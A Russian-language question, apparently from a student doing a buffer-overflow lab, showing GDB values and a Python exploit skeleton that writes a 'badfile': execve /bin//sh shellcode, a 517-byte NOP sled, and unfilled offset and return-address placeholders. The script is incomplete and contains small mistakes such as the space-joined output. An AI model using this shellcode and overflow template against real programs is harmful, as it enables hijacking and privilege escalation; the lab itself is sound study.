У меня есть этот "плохой файл" для создания переполнения буфера со следующими инструкциями, но у меня возникают проблемы с пониманием того, что нужно сделать:
Я получил следующую информацию после запуска GDP:
$1 = 0xbffff058
$2 = 0xbbbb078
$3= 0x20
Файл выглядит следующим образом:
import sys
shellcode= \
"\x31\xc0" \
"\x50" \
"\x68""//sh" \
"\x68""/bin" \
"\x89\xe3" \
"\x50" \
"\x53" \
"\x89\xe1" \
"\x99" \
"\xb0\x0b" \
"\xcd\x80" \
"\x00" \
Теперь я заполняю содержимое NOP.
content = ["\x90" for i in range(517)]
Теперь я заменяю 0 на правильное значение смещения в Шестнадцатеричный или десятичный.
D=0
Теперь мне нужно заполнить поле обратного адреса адресом шелл-кода. Замените FF на правильное значение и добавьте пропущенные значения.
content[D+0]="\xFF"
content[D+3]="\xFF"
Теперь я ставлю шелл-код в конце
start = 517 - len(shellcode)
content[start:] = shellcode
Теперь я пишу содержимое в badfile
file= open("badfile", "wb")
file.write(' '.join(content))
file.close()